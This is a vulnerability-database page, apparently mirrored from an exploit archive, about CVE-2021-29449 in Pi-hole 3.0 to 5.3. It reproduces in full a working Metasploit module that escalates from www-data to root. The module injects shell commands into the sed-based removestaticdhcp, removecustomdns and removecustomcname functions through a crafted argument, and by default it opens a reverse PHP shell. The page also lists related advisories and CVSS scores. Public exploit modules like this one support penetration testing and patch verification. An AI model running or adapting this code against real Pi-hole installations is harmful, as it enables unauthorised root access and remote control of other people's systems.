Lucene search
K

Pi-Hole Remove Commands Linux Privilege Escalation Exploit

🗓️ 30 Jul 2021 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 194 Views

Pi-Hole versions 3.0 - 5.3 allows command line input to removecustomcname, removecustomdns, and removestaticdhcp functions without proper validation, leading to privilege escalation to root for the www-data user.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2021-29449
14 Apr 202100:00
attackerkb
Circl
CVE-2021-29449
29 Jul 202116:46
circl
CNNVD
Pi-hole 操作系统命令注入漏洞
14 Apr 202100:00
cnnvd
CVE
CVE-2021-29449
14 Apr 202122:05
cve
Cvelist
CVE-2021-29449 Multiple Privilege Escalation Vulnerabilities Pihole
14 Apr 202122:05
cvelist
Metasploit
Pi-Hole Remove Commands Linux Priv Esc
29 Jul 202117:43
metasploit
NVD
CVE-2021-29449
14 Apr 202122:15
nvd
OpenVAS
Pi-hole Core < 5.3 Multiple Privilege Escalation Vulnerabilities
16 Apr 202100:00
openvas
Packet Storm
Pi-Hole Remove Commands Linux Privilege Escalation
30 Jul 202100:00
packetstorm
Prion
Privilege escalation
14 Apr 202122:15
prion
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  # includes: is_root?
  include Msf::Post::Linux::Priv
  # includes writable?, upload_file, upload_and_chmodx, exploit_data
  include Msf::Post::File
  # for whoami
  include Msf::Post::Unix
  # for get_session_pid needed by whoami
  include Msf::Post::Linux::System
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Pi-Hole Remove Commands Linux Priv Esc',
        'Description' => %q{
          Pi-Hole versions 3.0 - 5.3 allows for command line input to the removecustomcname,
          removecustomdns, and removestaticdhcp functions without properly validating
          the parameters before passing to sed.  When executed as the www-data user,
          this allows for a privilege escalation to root since www-data is in the
          sudoers.d/pihole file with no password.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'h00die', # msf module
            'Emanuele Barbeno <emanuele.barbeno[at]compass-security.com>' # original PoC, analysis
          ],
        'Platform' => [ 'unix', 'linux' ],
        'Arch' => [ ARCH_CMD ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_php_ssl' },
        'Payload' =>
          {
            'BadChars' => "\x27" # '
          },
        'Privileged' => true,
        'References' =>
          [
            [ 'URL', 'https://github.com/pi-hole/pi-hole/security/advisories/GHSA-3597-244c-wrpj' ],
            [ 'URL', 'https://www.compass-security.com/fileadmin/Research/Advisories/2021-02_CSNC-2021-008_Pi-hole_Privilege_Escalation.txt' ],
            [ 'CVE', '2021-29449' ]
          ],
        'DisclosureDate' => '2021-04-20',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
        },
        'Targets' => [
          ['DHCP', { 'min' => Rex::Version.new('3.0') }], # exploitable by default, expecially when combined with unix/http/pihole_dhcp_mac_exec
          ['DNS', { 'min' => Rex::Version.new('5.0') }],
          ['CNAME', { 'min' => Rex::Version.new('5.1') }],
        ],
        'DefaultTarget' => 0
      )
    )
  end

  def sudo_pihole
    'sudo /usr/local/bin/pihole -a'
  end

  def pihole_version
    version = cmd_exec('sudo /usr/local/bin/pihole -v')
    /Pi-hole version is v([^ ]+)/ =~ version
    Rex::Version.new(Regexp.last_match(1))
  end

  def check
    w = whoami
    print_status("Current user: #{w}")
    v = pihole_version
    print_status("Pi-hole version: #{v}")
    unless v.between?(target['min'], Rex::Version.new('5.3'))
      return CheckCode::Safe("Pi-Hole version #{v} is >= 5.3 and not vulnerable")
    end
    unless w == 'www-data'
      return CheckCode::Safe("User must be www-data, currently #{w}")
    end

    CheckCode::Appears("Pi-Hole #{v} with user #{w} is vulnerable and exploitable")
  end

  def method_dhcp
    f = '/etc/dnsmasq.d/04-pihole-static-dhcp.conf'
    if !file?(f) || read_file(f).empty?
      mac = Faker::Internet.mac_address
      ip = "10.199.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}"
      print_status("Adding static DHCP #{mac} #{ip}")
      cmd_exec("#{sudo_pihole} addstaticdhcp '#{mac}' '#{ip}'")
    end
    unless file?(f)
      print_error("Config file not found: #{f}")
      return
    end
    print_good("#{f} found!")
    print_status('Executing payload against removestaticdhcp command')
    cmd_exec("#{sudo_pihole} removestaticdhcp 'a/d ; 1e #{payload.encoded} ; /'")
    if mac
      cmd_exec("#{sudo_pihole} removestaticdhcp '#{mac}'")
    end
  end

  def method_dns
    f = '/etc/pihole/custom.list'
    if !file?(f) || read_file(f).empty?
      name = Faker::Internet.domain_name
      ip = "10.199.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}"
      print_status("Adding DNS entry #{name} #{ip}")
      cmd_exec("#{sudo_pihole} addcustomdns '#{ip}' '#{name}'")
    end
    unless file?(f)
      print_error("Config file not found: #{f}")
      return
    end
    print_good("#{f} found!")
    print_status('Executing payload against removecustomdns command')
    cmd_exec("#{sudo_pihole} removecustomdns 'a/d ; 1e #{payload.encoded} ; /'")
    if name
      cmd_exec("#{sudo_pihole} removecustomdns '#{ip}' '#{name}'")
    end
  end

  def method_cname
    f = '/etc/dnsmasq.d/05-pihole-custom-cname.conf'
    if !file?(f) || read_file(f).empty?
      name = "#{rand_text_alphanumeric(8..12)}.edu"
      print_status("Adding CNAME entry #{name}")
      cmd_exec("#{sudo_pihole} addcustomcname '#{name}' '#{name}'")
    end
    unless file?(f)
      print_error("Config file not found: #{f}")
      return
    end
    print_good("#{f} found!")
    print_status('Executing payload against removecustomcname command')
    cmd_exec("#{sudo_pihole} removecustomcname 'a/d ; 1e #{payload.encoded} ; /'")
    if name
      cmd_exec("#{sudo_pihole} removecustomcname '#{name}' '#{name}'")
    end
  end

  def exploit
    if target.name == 'DHCP'
      method_dhcp
    elsif target.name == 'DNS'
      method_dns
    elsif target.name == 'CNAME'
      method_cname
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Jul 2021 00:00Current
8.1High risk
Vulners AI Score8.1
CVSS 3.16.3 - 7.8
CVSS 27.2
EPSS0.10941
194